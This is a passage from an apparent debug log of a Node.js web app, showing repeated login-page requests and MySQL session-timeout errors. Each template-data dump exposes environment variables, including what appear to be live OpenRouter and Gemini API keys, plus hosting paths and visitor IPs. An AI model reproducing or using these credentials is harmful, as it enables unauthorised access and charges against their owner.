    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-17T14:31:14.536Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.41.91.213',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.41.91.213',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-16T15:03:28.041Z server-connect:router Serving templateView /
2026-04-16T15:03:28.042Z server-connect:app Executing action step identify
2026-04-16T15:03:28.042Z server-connect:app options: { provider: 'security' }
2026-04-16T15:03:28.042Z server-connect:auth No login cookie found
2026-04-16T15:03:28.042Z server-connect:output identity: false
2026-04-16T15:03:28.042Z server-connect:app Executing action step restrict
2026-04-16T15:03:28.042Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-16T15:03:28.042Z server-connect:output restrict: undefined
2026-04-16T15:03:28.179Z server-connect:router Serving templateView /login
2026-04-16T15:03:28.179Z server-connect:app Executing action step identify
2026-04-16T15:03:28.179Z server-connect:app options: { provider: 'security' }
2026-04-16T15:03:28.179Z server-connect:auth No login cookie found
2026-04-16T15:03:28.179Z server-connect:output identity: false
2026-04-16T15:03:28.179Z server-connect:router Render template layouts/authentication
2026-04-16T15:03:28.180Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.226.205.93',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-17T15:03:28.179Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.226.205.93',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.226.205.93',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-16T15:17:51.652Z server-connect:router Serving templateView /
2026-04-16T15:17:51.652Z server-connect:app Executing action step identify
2026-04-16T15:17:51.653Z server-connect:app options: { provider: 'security' }
2026-04-16T15:17:51.653Z server-connect:auth No login cookie found
2026-04-16T15:17:51.653Z server-connect:output identity: false
2026-04-16T15:17:51.653Z server-connect:app Executing action step restrict
2026-04-16T15:17:51.653Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-16T15:17:51.653Z server-connect:output restrict: undefined
2026-04-16T15:17:51.785Z server-connect:router Serving templateView /login
2026-04-16T15:17:51.785Z server-connect:app Executing action step identify
2026-04-16T15:17:51.785Z server-connect:app options: { provider: 'security' }
2026-04-16T15:17:51.785Z server-connect:auth No login cookie found
2026-04-16T15:17:51.785Z server-connect:output identity: false
2026-04-16T15:17:51.785Z server-connect:router Render template layouts/authentication
2026-04-16T15:17:51.785Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.69.193.192',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-17T15:17:51.784Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.69.193.192',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.69.193.192',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-16 18:29:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-16 18:29:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-16 21:03:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-16 21:03:57' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-16 23:07:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-16 23:07:58' as DATETIME)"
}
2026-04-16T23:31:23.916Z server-connect:router Serving templateView /
2026-04-16T23:31:23.916Z server-connect:app Executing action step identify
2026-04-16T23:31:23.916Z server-connect:app options: { provider: 'security' }
2026-04-16T23:31:23.916Z server-connect:auth No login cookie found
2026-04-16T23:31:23.916Z server-connect:output identity: false
2026-04-16T23:31:23.916Z server-connect:app Executing action step restrict
2026-04-16T23:31:23.916Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-16T23:31:23.917Z server-connect:output restrict: undefined
2026-04-16T23:31:38.705Z server-connect:router Serving templateView /login
2026-04-16T23:31:38.706Z server-connect:app Executing action step identify
2026-04-16T23:31:38.706Z server-connect:app options: { provider: 'security' }
2026-04-16T23:31:38.706Z server-connect:auth No login cookie found
2026-04-16T23:31:38.706Z server-connect:output identity: false
2026-04-16T23:31:38.706Z server-connect:router Render template layouts/authentication
2026-04-16T23:31:38.706Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '240b:4002:10:d00:1241:5c12:1a2c:2f96',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-17T23:31:38.705Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '240b:4002:10:d00:1241:5c12:1a2c:2f96',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_ACCEPT_LANGUAGE: 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '240b:4002:10:d00:1241:5c12:1a2c:2f96',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-16T23:37:29.789Z server-connect:router Serving templateView /
2026-04-16T23:37:29.789Z server-connect:app Executing action step identify
2026-04-16T23:37:29.789Z server-connect:app options: { provider: 'security' }
2026-04-16T23:37:29.789Z server-connect:auth No login cookie found
2026-04-16T23:37:29.789Z server-connect:output identity: false
2026-04-16T23:37:29.789Z server-connect:app Executing action step restrict
2026-04-16T23:37:29.789Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-16T23:37:29.790Z server-connect:output restrict: undefined
2026-04-16T23:37:35.762Z server-connect:router Serving templateView /login
2026-04-16T23:37:35.762Z server-connect:app Executing action step identify
2026-04-16T23:37:35.762Z server-connect:app options: { provider: 'security' }
2026-04-16T23:37:35.762Z server-connect:auth No login cookie found
2026-04-16T23:37:35.762Z server-connect:output identity: false
2026-04-16T23:37:35.762Z server-connect:router Render template layouts/authentication
2026-04-16T23:37:35.762Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
    referer: 'http://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '240b:4002:10:d00:1241:5c12:1a2c:2f96',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-17T23:37:35.762Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '240b:4002:10:d00:1241:5c12:1a2c:2f96',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_ACCEPT_LANGUAGE: 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
    HTTP_REFERER: 'http://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '240b:4002:10:d00:1241:5c12:1a2c:2f96',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-17 02:36:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-17 02:36:58' as DATETIME)"
}
2026-04-17T02:58:20.992Z server-connect:router Serving templateView /
2026-04-17T02:58:20.994Z server-connect:app Executing action step identify
2026-04-17T02:58:20.994Z server-connect:app options: { provider: 'security' }
2026-04-17T02:58:20.994Z server-connect:auth No login cookie found
2026-04-17T02:58:20.994Z server-connect:output identity: false
2026-04-17T02:58:20.994Z server-connect:app Executing action step restrict
2026-04-17T02:58:20.994Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-17T02:58:20.994Z server-connect:output restrict: undefined
2026-04-17T02:58:31.674Z server-connect:router Serving templateView /login
2026-04-17T02:58:31.674Z server-connect:app Executing action step identify
2026-04-17T02:58:31.674Z server-connect:app options: { provider: 'security' }
2026-04-17T02:58:31.674Z server-connect:auth No login cookie found
2026-04-17T02:58:31.674Z server-connect:output identity: false
2026-04-17T02:58:31.674Z server-connect:router Render template layouts/authentication
2026-04-17T02:58:31.675Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
    referer: 'http://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '240b:4002:10:d00:1241:5c12:1a2c:2f95',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-18T02:58:31.673Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '240b:4002:10:d00:1241:5c12:1a2c:2f95',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
